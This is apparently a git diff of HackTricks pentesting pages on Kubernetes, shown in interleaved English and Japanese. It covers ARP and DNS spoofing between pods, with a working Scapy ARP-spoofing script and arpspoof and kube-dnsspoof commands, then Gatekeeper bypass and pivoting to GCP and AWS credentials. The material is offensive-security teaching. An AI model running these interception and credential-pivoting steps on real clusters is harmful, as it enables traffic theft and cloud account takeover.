namespace: kube-system
spec:
containers:
- image: ubuntu
command:
- "sleep"
- "360000"
imagePullPolicy: IfNotPresent
name: ubuntu-victim
restartPolicy: Never
containers:
- image: ubuntu
command:
- "sleep"
- "360000"
imagePullPolicy: IfNotPresent
name: ubuntu-victim
restartPolicy: Never
---
apiVersion: v1
kind: Pod
metadata:
name: mysql
name: mysql
spec:
containers:
- image: mysql:5.6
ports:
- containerPort: 3306
imagePullPolicy: IfNotPresent
name: mysql
env:
- name: MYSQL_ROOT_PASSWORD
value: mysql
restartPolicy: Never' | kubectl apply -f -
containers:
- image: mysql:5.6
ports:
- containerPort: 3306
imagePullPolicy: IfNotPresent
name: mysql
env:
- name: MYSQL_ROOT_PASSWORD
value: mysql
restartPolicy: Never' | kubectl apply -f -
```
```bash
@@ -97,33 +96,31 @@ kubectl exec -it ubuntu-attack -- bash -c "apt update; apt install -y net-tools
kubectl exec -it ubuntu-victim -n kube-system -- bash -c "apt update; apt install -y net-tools curl netcat mysql-client; bash"
kubectl exec -it mysql bash -- bash -c "apt update; apt install -y net-tools; bash"
```
## 基本的なKubernetesネットワーキング
## Basic Kubernetes Networking
If you want more details about the networking topics introduced here, go to the references.
ここで紹介されているネットワーキングのトピックについての詳細は、参考文献を参照してください。
### ARP
Generally speaking, **pod-to-pod networking inside the node** is available via a **bridge** that connects all pods. This bridge is called “**cbr0**”. (Some network plugins will install their own bridge.) The **cbr0 can also handle ARP** (Address Resolution Protocol) resolution. When an incoming packet arrives at cbr0, it can resolve the destination MAC address using ARP.
一般的に言えば、**ノード内のポッド間ネットワーキング**は、すべてのポッドを接続する**ブリッジ**を介して利用可能です。このブリッジは「**cbr0**」と呼ばれます。（一部のネットワークプラグインは独自のブリッジをインストールします。）**cbr0はARP**（アドレス解決プロトコル）解決も処理できます。cbr0に到着した受信パケットは、ARPを使用して宛先MACアドレスを解決できます。
This fact implies that, by default, **every pod running in the same node** is going to be able to **communicate** with any other pod in the same node (independently of the namespace) at ethernet level (layer 2).
この事実は、デフォルトでは、**同じノードで実行されているすべてのポッド**が、**同じノード内の他のポッドと通信**できることを意味します（名前空間に関係なく）イーサネットレベル（レイヤー2）で。
> [!WARNING]
> Therefore, it's possible to perform A**RP Spoofing attacks between pods in the same node.**
> したがって、同じノード内のポッド間でA**RPスプーフィング攻撃を実行することが可能です。**
### DNS
In kubernetes environments you will usually find 1 (or more) **DNS services running** usually in the kube-system namespace:
Kubernetes環境では、通常、kube-system名前空間で1つ（またはそれ以上）の**DNSサービスが実行されている**のを見つけることができます：
```bash
kubectl -n kube-system describe services
Name: kube-dns
Namespace: kube-system
Labels: k8s-app=kube-dns
kubernetes.io/cluster-service=true
kubernetes.io/name=KubeDNS
kubernetes.io/cluster-service=true
kubernetes.io/name=KubeDNS
Annotations: prometheus.io/port: 9153
prometheus.io/scrape: true
prometheus.io/scrape: true
Selector: k8s-app=kube-dns
Type: ClusterIP
IP Families: <none>
@@ -139,33 +136,29 @@ Port: metrics 9153/TCP
TargetPort: 9153/TCP
Endpoints: 172.17.0.2:9153
```
前の情報では、興味深いことが見られます。**サービスのIP**は**10.96.0.10**ですが、**サービスを実行しているポッドのIP**は**172.17.0.2**です。
In the previous info you can see something interesting, the **IP of the service** is **10.96.0.10** but the **IP of the pod** running the service is **172.17.0.2.**
If you check the DNS address inside any pod you will find something like this:
任意のポッド内でDNSアドレスを確認すると、次のようなものが見つかります：
```
cat /etc/resolv.conf
nameserver 10.96.0.10
```
しかし、ポッドはそのアドレスに到達する方法を**知らない**ため、この場合の**ポッド範囲**は172.17.0.10/26です。
However, the pod **doesn't know** how to get to that **address** because the **pod range** in this case is 172.17.0.10/26.
Therefore, the pod will send the **DNS requests to the address 10.96.0.10** which will be **translated** by the cbr0 **to** **172.17.0.2**.
したがって、ポッドは**アドレス10.96.0.10にDNSリクエストを送信**し、cbr0によって**172.17.0.2に変換**されます。
> [!WARNING]
> This means that a **DNS request** of a pod is **always** going to go the **bridge** to **translate** the **service IP to the endpoint IP**, even if the DNS server is in the same subnetwork as the pod.
> これは、ポッドの**DNSリクエスト**が**常に**ブリッジに行き、**サービスIPをエンドポイントIPに変換**することを意味します。たとえDNSサーバーがポッドと同じサブネットワークにあってもです。
>
> Knowing this, and knowing **ARP attacks are possible**, a **pod** in a node is going to be able to **intercept the traffic** between **each pod** in the **subnetwork** and the **bridge** and **modify** the **DNS responses** from the DNS server (**DNS Spoofing**).
> これを知っており、**ARP攻撃が可能であることを知っている**場合、ノード内の**ポッド**は**サブネットワーク内の各ポッド**と**ブリッジ**間の**トラフィックを傍受**し、DNSサーバーからの**DNS応答を変更**することができます（**DNSスプーフィング**）。
>
> Moreover, if the **DNS server** is in the **same node as the attacker**, the attacker can **intercept all the DNS request** of any pod in the cluster (between the DNS server and the bridge) and modify the responses.
> さらに、**DNSサーバー**が**攻撃者と同じノードにある**場合、攻撃者はクラスター内の任意のポッドの**すべてのDNSリクエストを傍受**し（DNSサーバーとブリッジの間）、応答を変更することができます。
## ARP Spoofing in pods in the same Node
## 同じノード内のポッドにおけるARPスプーフィング
Our goal is to **steal at least the communication from the ubuntu-victim to the mysql**.
私たちの目標は、**ubuntu-victimからmysqlへの通信を少なくとも盗むこと**です。
### Scapy
```bash
python3 /tmp/arp_spoof.py
Enter Target IP:172.17.0.10 #ubuntu-victim
@@ -187,75 +180,69 @@ ngrep -d eth0
from scapy.all import *
def getmac(targetip):
arppacket= Ether(dst="ff:ff:ff:ff:ff:ff")/ARP(op=1, pdst=targetip)
targetmac= srp(arppacket, timeout=2 , verbose= False)[0][0][1].hwsrc
return targetmac
arppacket= Ether(dst="ff:ff:ff:ff:ff:ff")/ARP(op=1, pdst=targetip)
targetmac= srp(arppacket, timeout=2 , verbose= False)[0][0][1].hwsrc
return targetmac
def spoofarpcache(targetip, targetmac, sourceip):
spoofed= ARP(op=2 , pdst=targetip, psrc=sourceip, hwdst= targetmac)
send(spoofed, verbose= False)
spoofed= ARP(op=2 , pdst=targetip, psrc=sourceip, hwdst= targetmac)
send(spoofed, verbose= False)
def restorearp(targetip, targetmac, sourceip, sourcemac):
packet= ARP(op=2 , hwsrc=sourcemac , psrc= sourceip, hwdst= targetmac , pdst= targetip)
send(packet, verbose=False)
print("ARP Table restored to normal for", targetip)
packet= ARP(op=2 , hwsrc=sourcemac , psrc= sourceip, hwdst= targetmac , pdst= targetip)
send(packet, verbose=False)
print("ARP Table restored to normal for", targetip)
def main():
targetip= input("Enter Target IP:")
gatewayip= input("Enter Gateway IP:")
targetip= input("Enter Target IP:")
gatewayip= input("Enter Gateway IP:")
try:
targetmac= getmac(targetip)
print("Target MAC", targetmac)
except:
print("Target machine did not respond to ARP broadcast")
quit()
try:
targetmac= getmac(targetip)
print("Target MAC", targetmac)
except:
print("Target machine did not respond to ARP broadcast")
quit()
try:
gatewaymac= getmac(gatewayip)
print("Gateway MAC:", gatewaymac)
except:
print("Gateway is unreachable")
quit()
try:
print("Sending spoofed ARP responses")
while True:
spoofarpcache(targetip, targetmac, gatewayip)
spoofarpcache(gatewayip, gatewaymac, targetip)
except KeyboardInterrupt:
print("ARP spoofing stopped")
restorearp(gatewayip, gatewaymac, targetip, targetmac)
restorearp(targetip, targetmac, gatewayip, gatewaymac)
quit()
try:
gatewaymac= getmac(gatewayip)
print("Gateway MAC:", gatewaymac)
except:
print("Gateway is unreachable")
quit()
try:
print("Sending spoofed ARP responses")
while True:
spoofarpcache(targetip, targetmac, gatewayip)
spoofarpcache(gatewayip, gatewaymac, targetip)
except KeyboardInterrupt:
print("ARP spoofing stopped")
restorearp(gatewayip, gatewaymac, targetip, targetmac)
restorearp(targetip, targetmac, gatewayip, gatewaymac)
quit()
if __name__=="__main__":
main()
main()
# To enable IP forwarding: echo 1 > /proc/sys/net/ipv4/ip_forward
```
### ARPSpoof
```bash
apt install dsniff
arpspoof -t 172.17.0.9 172.17.0.10
```
## DNS Spoofing
As it was already mentioned, if you **compromise a pod in the same node of the DNS server pod**, you can **MitM** with **ARPSpoofing** the **bridge and the DNS** pod and **modify all the DNS responses**.
既に述べたように、もしあなたが**DNSサーバーポッドと同じノードのポッドを侵害**した場合、**ARPSpoofing**を使って**ブリッジとDNS**ポッドの**MitM**を行い、**すべてのDNSレスポンスを変更**することができます。
You have a really nice **tool** and **tutorial** to test this in [**https://github.com/danielsagi/kube-dnsspoof/**](https://github.com/danielsagi/kube-dnsspoof/)
In our scenario, **download** the **tool** in the attacker pod and create a \*\*file named `hosts` \*\* with the **domains** you want to **spoof** like:
あなたには、これをテストするための素晴らしい**ツール**と**チュートリアル**があります [**https://github.com/danielsagi/kube-dnsspoof/**](https://github.com/danielsagi/kube-dnsspoof/)
私たちのシナリオでは、**攻撃者ポッドに**この**ツールをダウンロード**し、**スプーフィング**したい**ドメイン**を含む**`hosts`という名前のファイルを作成**します:
```
cat hosts
google.com. 1.1.1.1
```
Perform the attack to the ubuntu-victim machine:
攻撃をubuntu-victimマシンに対して実行します:
```
python3 exploit.py --direct 172.17.0.10
[*] starting attack on direct mode to pod 172.17.0.10
@@ -272,15 +259,14 @@ dig google.com
;; ANSWER SECTION:
google.com. 1 IN A 1.1.1.1
```
> [!NOTE]
> If you try to create your own DNS spoofing script, if you **just modify the the DNS response** that is **not** going to **work**, because the **response** is going to have a **src IP** the IP address of the **malicious** **pod** and **won't** be **accepted**.\
> You need to generate a **new DNS packet** with the **src IP** of the **DNS** where the victim send the DNS request (which is something like 172.16.0.2, not 10.96.0.10, thats the K8s DNS service IP and not the DNS server ip, more about this in the introduction).
> 自分のDNSスプーフィングスクリプトを作成しようとする場合、**DNS応答を変更するだけでは**、**機能しません**。なぜなら、**応答**には**悪意のある** **ポッド**の**src IP**が含まれ、**受け入れられない**からです。\
> 被害者がDNSリクエストを送信する**DNS**の**src IP**を持つ**新しいDNSパケット**を生成する必要があります（これは172.16.0.2のようなもので、10.96.0.10ではありません。これはK8s DNSサービスのIPであり、DNSサーバーのIPではありません。詳細はイントロダクションで説明します）。
## Capturing Traffic
The tool [**Mizu**](https://github.com/up9inc/mizu) is a simple-yet-powerful API **traffic viewer for Kubernetes** enabling you to **view all API communication** between microservices to help your debug and troubleshoot regressions.\
It will install agents in the selected pods and gather their traffic information and show you in a web server. However, you will need high K8s permissions for this (and it's not very stealthy).
ツール[**Mizu**](https://github.com/up9inc/mizu)は、Kubernetes用のシンプルでありながら強力なAPI **トラフィックビューワー**で、マイクロサービス間の**すべてのAPI通信**を**表示**し、デバッグや回帰のトラブルシューティングを支援します。\
選択したポッドにエージェントをインストールし、そのトラフィック情報を収集してウェブサーバーに表示します。ただし、これには高いK8s権限が必要です（あまりステルスではありません）。
## References
@@ -288,7 +274,3 @@ It will install agents in the selected pods and gather their traffic information
- [https://blog.aquasec.com/dns-spoofing-kubernetes-clusters](https://blog.aquasec.com/dns-spoofing-kubernetes-clusters)
{{#include ../../banners/hacktricks-training.md}}

86
src/pentesting-cloud/kubernetes-security/kubernetes-opa-gatekeeper/README.md
View File

@@ -1,80 +1,72 @@
# Kubernetes - OPA Gatekeeper
**The original author of this page is** [**Guillaume**](https://www.linkedin.com/in/guillaume-chapela-ab4b9a196)
**このページの元の著者は** [**Guillaume**](https://www.linkedin.com/in/guillaume-chapela-ab4b9a196)
## Definition
Open Policy Agent (OPA) Gatekeeper is a tool used to enforce admission policies in Kubernetes. These policies are defined using Rego, a policy language provided by OPA. Below is a basic example of a policy definition using OPA Gatekeeper:
## 定義
Open Policy Agent (OPA) Gatekeeperは、Kubernetesでの入場ポリシーを強制するために使用されるツールです。これらのポリシーは、OPAが提供するポリシー言語Regoを使用して定義されます。以下は、OPA Gatekeeperを使用したポリシー定義の基本的な例です：
```rego
regoCopy codepackage k8srequiredlabels
violation[{"msg": msg}] {
provided := {label | input.review.object.metadata.labels[label]}
required := {label | label := input.parameters.labels[label]}
missing := required - provided
count(missing) > 0
msg := sprintf("Required labels missing: %v", [missing])
provided := {label | input.review.object.metadata.labels[label]}
required := {label | label := input.parameters.labels[label]}
missing := required - provided
count(missing) > 0
msg := sprintf("Required labels missing: %v", [missing])
}
default allow = false
```
このRegoポリシーは、Kubernetesリソースに特定のラベルが存在するかどうかをチェックします。必要なラベルが欠けている場合、違反メッセージを返します。このポリシーは、クラスターにデプロイされたすべてのリソースが特定のラベルを持っていることを保証するために使用できます。
This Rego policy checks if certain labels are present on Kubernetes resources. If the required labels are missing, it returns a violation message. This policy can be used to ensure that all resources deployed in the cluster have specific labels.
## Apply Constraint
To use this policy with OPA Gatekeeper, you would define a **ConstraintTemplate** and a **Constraint** in Kubernetes:
## 制約の適用
このポリシーをOPA Gatekeeperで使用するには、Kubernetesで**ConstraintTemplate**と**Constraint**を定義します：
```yaml
apiVersion: templates.gatekeeper.sh/v1beta1
kind: ConstraintTemplate
metadata:
name: k8srequiredlabels
name: k8srequiredlabels
spec:
crd:
spec:
names:
kind: K8sRequiredLabels
targets:
- target: admission.k8s.gatekeeper.sh
rego: |
package k8srequiredlabels
violation[{"msg": msg}] {
provided := {label | input.review.object.metadata.labels[label]}
required := {label | label := input.parameters.labels[label]}
missing := required - provided
count(missing) > 0
msg := sprintf("Required labels missing: %v", [missing])
}
crd:
spec:
names:
kind: K8sRequiredLabels
targets:
- target: admission.k8s.gatekeeper.sh
rego: |
package k8srequiredlabels
violation[{"msg": msg}] {
provided := {label | input.review.object.metadata.labels[label]}
required := {label | label := input.parameters.labels[label]}
missing := required - provided
count(missing) > 0
msg := sprintf("Required labels missing: %v", [missing])
}
default allow = false
default allow = false
```
```yaml
apiVersion: constraints.gatekeeper.sh/v1beta1
kind: K8sRequiredLabels
metadata:
name: ensure-pod-has-label
name: ensure-pod-has-label
spec:
match:
kinds:
- apiGroups: [""]
kinds: ["Pod"]
parameters:
labels:
requiredLabel1: "true"
requiredLabel2: "true"
match:
kinds:
- apiGroups: [""]
kinds: ["Pod"]
parameters:
labels:
requiredLabel1: "true"
requiredLabel2: "true"
```
このYAMLの例では、ラベルを要求する**ConstraintTemplate**を定義します。次に、この制約に`ensure-pod-has-label`という名前を付け、`k8srequiredlabels` ConstraintTemplateを参照し、必要なラベルを指定します。
In this YAML example, we define a **ConstraintTemplate** to require labels. Then, we name this constraint `ensure-pod-has-label`, which references the `k8srequiredlabels` ConstraintTemplate and specifies the required labels.
When Gatekeeper is deployed in the Kubernetes cluster, it will enforce this policy, preventing the creation of pods that do not have the specified labels.
GatekeeperがKubernetesクラスターにデプロイされると、このポリシーが強制され、指定されたラベルを持たないポッドの作成が防止されます。
## References
* [https://github.com/open-policy-agent/gatekeeper](https://github.com/open-policy-agent/gatekeeper)

42
src/pentesting-cloud/kubernetes-security/kubernetes-opa-gatekeeper/kubernetes-opa-gatekeeper-bypass.md
View File

@@ -1,67 +1,57 @@
# Kubernetes OPA Gatekeeper bypass
**The original author of this page is** [**Guillaume**](https://www.linkedin.com/in/guillaume-chapela-ab4b9a196)
**このページの元の著者は** [**Guillaume**](https://www.linkedin.com/in/guillaume-chapela-ab4b9a196)
## Abusing misconfiguration
## 誤設定の悪用
### Enumerate rules
### ルールの列挙
Having an overview may help to know which rules are active, on which mode and who can bypass it.
#### With the CLI
概要を把握することで、どのルールがアクティブで、どのモードで、誰がバイパスできるかを知るのに役立ちます。
#### CLIを使用して
```bash
$ kubectl api-resources | grep gatekeeper
k8smandatoryannotations constraints.gatekeeper.sh/v1beta1 false K8sMandatoryAnnotations
k8smandatorylabels constraints.gatekeeper.sh/v1beta1 false K8sMandatoryLabel
constrainttemplates templates.gatekeeper.sh/v1 false ConstraintTemplate
```
**ConstraintTemplate** and **Constraint** can be used in Open Policy Agent (OPA) Gatekeeper to enforce rules on Kubernetes resources.
**ConstraintTemplate** と **Constraint** は、Open Policy Agent (OPA) Gatekeeper で Kubernetes リソースにルールを強制するために使用できます。
```bash
$ kubectl get constrainttemplates
$ kubectl get k8smandatorylabels
```
#### GUIを使用して
#### With the GUI
A Graphic User Interface may also be available to access the OPA rules with **Gatekeeper Policy Manager.** It is "a simple _read-only_ web UI for viewing OPA Gatekeeper policies' status in a Kubernetes Cluster."
**Gatekeeper Policy Manager**を使用してOPAルールにアクセスするためのグラフィカルユーザーインターフェースも利用可能です。これは「Kubernetesクラスター内のOPA Gatekeeperポリシーのステータスを表示するためのシンプルな_読み取り専用_ウェブUI」です。
<figure><img src="../../../images/05-constraints.png" alt=""><figcaption></figcaption></figure>
Search for the exposed service :
公開されているサービスを検索します：
```bash
$ kubectl get services -A | grep gatekeeper
$ kubectl get services -A | grep 'gatekeeper-policy-manager-system'
```
### 除外されたネームスペース
### Excluded namespaces
上の画像に示されているように、特定のルールはすべてのネームスペースやユーザーに普遍的に適用されない場合があります。代わりに、ホワイトリスト方式で機能します。例えば、`liveness-probe` 制約は、指定された5つのネームスペースには適用されません。
As illustrated in the image above, certain rules may not be applied universally across all namespaces or users. Instead, they operate on a whitelist basis. For instance, the `liveness-probe` constraint is excluded from applying to the five specified namespaces.
### バイパス
### Bypass
With a comprehensive overview of the Gatekeeper configuration, it's possible to identify potential misconfigurations that could be exploited to gain privileges. Look for whitelisted or excluded namespaces where the rule doesn't apply, and then carry out your attack there.
Gatekeeperの設定を包括的に把握することで、特権を得るために悪用できる潜在的な誤設定を特定することが可能です。ルールが適用されないホワイトリストまたは除外されたネームスペースを探し、そこで攻撃を実行します。
{{#ref}}
../abusing-roles-clusterroles-in-kubernetes/
{{#endref}}
## Abusing ValidatingWebhookConfiguration
## ValidatingWebhookConfigurationの悪用
Another way to bypass constraints is to focus on the ValidatingWebhookConfiguration resource :&#x20;
制約をバイパスする別の方法は、ValidatingWebhookConfigurationリソースに焦点を当てることです :&#x20;
{{#ref}}
../kubernetes-validatingwebhookconfiguration.md
{{#endref}}
## References
## 参考文献
- [https://github.com/open-policy-agent/gatekeeper](https://github.com/open-policy-agent/gatekeeper)
- [https://github.com/sighupio/gatekeeper-policy-manager](https://github.com/sighupio/gatekeeper-policy-manager)

286
src/pentesting-cloud/kubernetes-security/kubernetes-pivoting-to-clouds.md
View File

@@ -4,85 +4,72 @@
## GCP
If you are running a k8s cluster inside GCP you will probably want that some application running inside the cluster has some access to GCP. There are 2 common ways of doing that:
GCP内でk8sクラスターを実行している場合、クラスター内で実行されているアプリケーションがGCPにアクセスできるようにしたいと思うでしょう。これを行う一般的な方法は2つあります。
### Mounting GCP-SA keys as secret
### GCP-SAキーをシークレットとしてマウントする
A common way to give **access to a kubernetes application to GCP** is to:
**KubernetesアプリケーションにGCPへのアクセスを提供する**一般的な方法は次のとおりです。
- Create a GCP Service Account
- Bind on it the desired permissions
- Download a json key of the created SA
- Mount it as a secret inside the pod
- Set the GOOGLE_APPLICATION_CREDENTIALS environment variable pointing to the path where the json is.
- GCPサービスアカウントを作成する
- 必要な権限をバインドする
- 作成したSAのjsonキーをダウンロードする
- ポッド内にシークレットとしてマウントする
- jsonのパスを指すGOOGLE_APPLICATION_CREDENTIALS環境変数を設定する
> [!WARNING]
> Therefore, as an **attacker**, if you compromise a container inside a pod, you should check for that **env** **variable** and **json** **files** with GCP credentials.
> したがって、**攻撃者**として、ポッド内のコンテナを侵害した場合は、その**env** **variable**と**json** **files**にGCPの資格情報が含まれているか確認する必要があります。
### Relating GSA json to KSA secret
### GSA jsonをKSAシークレットに関連付ける
A way to give access to a GSA to a GKE cluser is by binding them in this way:
- Create a Kubernetes service account in the same namespace as your GKE cluster using the following command:
GKEクラスターにGSAへのアクセスを提供する方法は、次のようにバインドすることです。
- 次のコマンドを使用して、GKEクラスターと同じ名前空間にKubernetesサービスアカウントを作成します:
```bash
Copy codekubectl create serviceaccount <service-account-name>
```
- Create a Kubernetes Secret that contains the credentials of the GCP service account you want to grant access to the GKE cluster. You can do this using the `gcloud` command-line tool, as shown in the following example:
- GKEクラスターへのアクセスを許可したいGCPサービスアカウントの資格情報を含むKubernetes Secretを作成します。これは、以下の例に示すように`gcloud`コマンドラインツールを使用して行うことができます:
```bash
Copy codegcloud iam service-accounts keys create <key-file-name>.json \
--iam-account <gcp-service-account-email>
--iam-account <gcp-service-account-email>
kubectl create secret generic <secret-name> \
--from-file=key.json=<key-file-name>.json
--from-file=key.json=<key-file-name>.json
```
- Bind the Kubernetes Secret to the Kubernetes service account using the following command:
- 次のコマンドを使用してKubernetes SecretをKubernetesサービスアカウントにバインドします:
```bash
Copy codekubectl annotate serviceaccount <service-account-name> \
iam.gke.io/gcp-service-account=<gcp-service-account-email>
iam.gke.io/gcp-service-account=<gcp-service-account-email>
```
> [!WARNING]
> In the **second step** it was set the **credentials of the GSA as secret of the KSA**. Then, if you can **read that secret** from **inside** the **GKE** cluster, you can **escalate to that GCP service account**.
> **第二のステップ**では、**KSAの秘密としてGSAの資格情報が設定されました**。その後、**GKE**クラスターの**内部**からその**秘密を読み取る**ことができれば、**そのGCPサービスアカウントに昇格**できます。
### GKE Workload Identity
### GKEワークロードアイデンティティ
With Workload Identity, we can configure a[ Kubernetes service account](https://kubernetes.io/docs/tasks/configure-pod-container/configure-service-account/) to act as a[ Google service account](https://cloud.google.com/iam/docs/understanding-service-accounts). Pods running with the Kubernetes service account will automatically authenticate as the Google service account when accessing Google Cloud APIs.
ワークロードアイデンティティを使用すると、[Kubernetesサービスアカウント](https://kubernetes.io/docs/tasks/configure-pod-container/configure-service-account/)を[Googleサービスアカウント](https://cloud.google.com/iam/docs/understanding-service-accounts)として機能するように構成できます。Kubernetesサービスアカウントで実行されるポッドは、Google Cloud APIにアクセスする際に自動的にGoogleサービスアカウントとして認証されます。
The **first series of steps** to enable this behaviour is to **enable Workload Identity in GCP** ([**steps**](https://medium.com/zeotap-customer-intelligence-unleashed/gke-workload-identity-a-secure-way-for-gke-applications-to-access-gcp-services-f880f4e74e8c)) and create the GCP SA you want k8s to impersonate.
- **Enable Workload Identity** on a new cluster
この動作を有効にするための**最初の一連のステップ**は、**GCPでワークロードアイデンティティを有効にすること**（[**ステップ**](https://medium.com/zeotap-customer-intelligence-unleashed/gke-workload-identity-a-secure-way-for-gke-applications-to-access-gcp-services-f880f4e74e8c)）と、k8sが模倣するGCP SAを作成することです。
- 新しいクラスターで**ワークロードアイデンティティを有効にする**
```bash
gcloud container clusters update <cluster_name> \
--region=us-central1 \
--workload-pool=<project-id>.svc.id.goog
--region=us-central1 \
--workload-pool=<project-id>.svc.id.goog
```
- **Create/Update a new nodepool** (Autopilot clusters don't need this)
- **新しいノードプールを作成/更新する** (オートパイロットクラスターでは必要ありません)
```bash
# You could update instead of create
gcloud container node-pools create <nodepoolname> --cluster=<cluser_name> --workload-metadata=GKE_METADATA --region=us-central1
```
- Create the **GCP Service Account to impersonate** from K8s with GCP permissions:
- K8sからGCP権限を持つ**GCPサービスアカウントを偽装する**を作成します:
```bash
# Create SA called "gsa2ksa"
gcloud iam service-accounts create gsa2ksa --project=<project-id>
# Give "roles/iam.securityReviewer" role to the SA
gcloud projects add-iam-policy-binding <project-id> \
--member "serviceAccount:gsa2ksa@<project-id>.iam.gserviceaccount.com" \
--role "roles/iam.securityReviewer"
--member "serviceAccount:gsa2ksa@<project-id>.iam.gserviceaccount.com" \
--role "roles/iam.securityReviewer"
```
- **Connect** to the **cluster** and **create** the **service account** to use
- **クラスター**に**接続**し、使用する**サービスアカウント**を**作成**します。
```bash
# Get k8s creds
gcloud container clusters get-credentials <cluster_name> --region=us-central1
@@ -93,235 +80,206 @@ kubectl create namespace testing
# Create the KSA
kubectl create serviceaccount ksa2gcp -n testing
```
- **Bind the GSA with the KSA**
- **GSAをKSAにバインドする**
```bash
# Allow the KSA to access the GSA in GCP IAM
gcloud iam service-accounts add-iam-policy-binding gsa2ksa@<project-id.iam.gserviceaccount.com \
--role roles/iam.workloadIdentityUser \
--member "serviceAccount:<project-id>.svc.id.goog[<namespace>/ksa2gcp]"
--role roles/iam.workloadIdentityUser \
--member "serviceAccount:<project-id>.svc.id.goog[<namespace>/ksa2gcp]"
# Indicate to K8s that the SA is able to impersonate the GSA
kubectl annotate serviceaccount ksa2gcp \
--namespace testing \
iam.gke.io/gcp-service-account=gsa2ksa@security-devbox.iam.gserviceaccount.com
--namespace testing \
iam.gke.io/gcp-service-account=gsa2ksa@security-devbox.iam.gserviceaccount.com
```
- Run a **pod** with the **KSA** and check the **access** to **GSA:**
- **KSA**を使用して**pod**を実行し、**GSA**への**アクセス**を確認します：
```bash
# If using Autopilot remove the nodeSelector stuff!
echo "apiVersion: v1
kind: Pod
metadata:
name: workload-identity-test
namespace: <namespace>
name: workload-identity-test
namespace: <namespace>
spec:
containers:
- image: google/cloud-sdk:slim
name: workload-identity-test
command: ['sleep','infinity']
serviceAccountName: ksa2gcp
nodeSelector:
iam.gke.io/gke-metadata-server-enabled: 'true'" | kubectl apply -f-
containers:
- image: google/cloud-sdk:slim
name: workload-identity-test
command: ['sleep','infinity']
serviceAccountName: ksa2gcp
nodeSelector:
iam.gke.io/gke-metadata-server-enabled: 'true'" | kubectl apply -f-
# Get inside the pod
kubectl exec -it workload-identity-test \
--namespace testing \
-- /bin/bash
--namespace testing \
-- /bin/bash
# Check you can access the GSA from insie the pod with
curl -H "Metadata-Flavor: Google" http://169.254.169.254/computeMetadata/v1/instance/service-accounts/default/email
gcloud auth list
```
Check the following command to authenticate in case needed:
以下のコマンドを確認して、必要に応じて認証してください：
```bash
gcloud auth activate-service-account --key-file=/var/run/secrets/google/service-account/key.json
```
> [!WARNING]
> As an attacker inside K8s you should **search for SAs** with the **`iam.gke.io/gcp-service-account` annotation** as that indicates that the SA can access something in GCP. Another option would be to try to abuse each KSA in the cluster and check if it has access.\
> From GCP is always interesting to enumerate the bindings and know **which access are you giving to SAs inside Kubernetes**.
This is a script to easily **iterate over the all the pods** definitions **looking** for that **annotation**:
> K8s内の攻撃者として、**`iam.gke.io/gcp-service-account` アノテーション**を持つ**SAsを検索する**べきです。これは、そのSAがGCP内の何かにアクセスできることを示しています。もう一つのオプションは、クラスター内の各KSAを悪用し、それがアクセス権を持っているかどうかを確認することです。\
> GCPからは、バインディングを列挙し、**Kubernetes内のSAsにどのようなアクセスを与えているかを知ることが常に興味深いです**。
これは、その**アノテーション**を探すために**すべてのポッド**定義を簡単に**反復する**スクリプトです：
```bash
for ns in `kubectl get namespaces -o custom-columns=NAME:.metadata.name | grep -v NAME`; do
for pod in `kubectl get pods -n "$ns" -o custom-columns=NAME:.metadata.name | grep -v NAME`; do
echo "Pod: $ns/$pod"
kubectl get pod "$pod" -n "$ns" -o yaml | grep "gcp-service-account"
echo ""
echo ""
done
for pod in `kubectl get pods -n "$ns" -o custom-columns=NAME:.metadata.name | grep -v NAME`; do
echo "Pod: $ns/$pod"
kubectl get pod "$pod" -n "$ns" -o yaml | grep "gcp-service-account"
echo ""
echo ""
done
done | grep -B 1 "gcp-service-account"
```
## AWS
### Kiam & Kube2IAM (IAM role for Pods) <a href="#workflow-of-iam-role-for-service-accounts" id="workflow-of-iam-role-for-service-accounts"></a>
### Kiam & Kube2IAM (PodsのためのIAMロール) <a href="#workflow-of-iam-role-for-service-accounts" id="workflow-of-iam-role-for-service-accounts"></a>
An (outdated) way to give IAM Roles to Pods is to use a [**Kiam**](https://github.com/uswitch/kiam) or a [**Kube2IAM**](https://github.com/jtblin/kube2iam) **server.** Basically you will need to run a **daemonset** in your cluster with a **kind of privileged IAM role**. This daemonset will be the one that will give access to IAM roles to the pods that need it.
First of all you need to configure **which roles can be accessed inside the namespace**, and you do that with an annotation inside the namespace object:
PodsにIAMロールを付与する（古い）方法は、[**Kiam**](https://github.com/uswitch/kiam)または[**Kube2IAM**](https://github.com/jtblin/kube2iam) **サーバー**を使用することです。基本的に、**特権のあるIAMロール**の**デーモンセット**をクラスター内で実行する必要があります。このデーモンセットが、必要なポッドにIAMロールへのアクセスを提供します。
まず最初に、**どのロールが名前空間内でアクセス可能かを設定する**必要があり、これは名前空間オブジェクト内のアノテーションで行います：
```yaml:Kiam
kind: Namespace
metadata:
name: iam-example
annotations:
iam.amazonaws.com/permitted: ".*"
name: iam-example
annotations:
iam.amazonaws.com/permitted: ".*"
```
```yaml:Kube2iam
apiVersion: v1
kind: Namespace
metadata:
annotations:
iam.amazonaws.com/allowed-roles: |
["role-arn"]
name: default
annotations:
iam.amazonaws.com/allowed-roles: |
["role-arn"]
name: default
```
Once the namespace is configured with the IAM roles the Pods can have you can **indicate the role you want on each pod definition with something like**:
一度名前空間がIAMロールで構成されると、Podが持つことができるロールを**各Pod定義で指定することができます**:
```yaml:Kiam & Kube2iam
kind: Pod
metadata:
name: foo
namespace: external-id-example
annotations:
iam.amazonaws.com/role: reportingdb-reader
name: foo
namespace: external-id-example
annotations:
iam.amazonaws.com/role: reportingdb-reader
```
> [!WARNING]
> As an attacker, if you **find these annotations** in pods or namespaces or a kiam/kube2iam server running (in kube-system probably) you can **impersonate every r**ole that is already **used by pods** and more (if you have access to AWS account enumerate the roles).
> 攻撃者として、もしあなたがポッドや名前空間にこれらのアノテーションを**見つけた場合**、またはkiam/kube2iamサーバーが（おそらくkube-systemで）実行されている場合、あなたは**ポッドによって既に使用されているすべてのr**oleを**なりすます**ことができ、さらに（AWSアカウントにアクセスできる場合はロールを列挙することができます）。
#### Create Pod with IAM Role
#### IAMロールを持つポッドの作成
> [!NOTE]
> The IAM role to indicate must be in the same AWS account as the kiam/kube2iam role and that role must be able to access it.
> 指定するIAMロールは、kiam/kube2iamロールと同じAWSアカウント内に存在し、そのロールがアクセスできる必要があります。
```yaml
echo 'apiVersion: v1
kind: Pod
metadata:
annotations:
iam.amazonaws.com/role: transaction-metadata
name: alpine
namespace: eevee
annotations:
iam.amazonaws.com/role: transaction-metadata
name: alpine
namespace: eevee
spec:
containers:
- name: alpine
image: alpine
command: ["/bin/sh"]
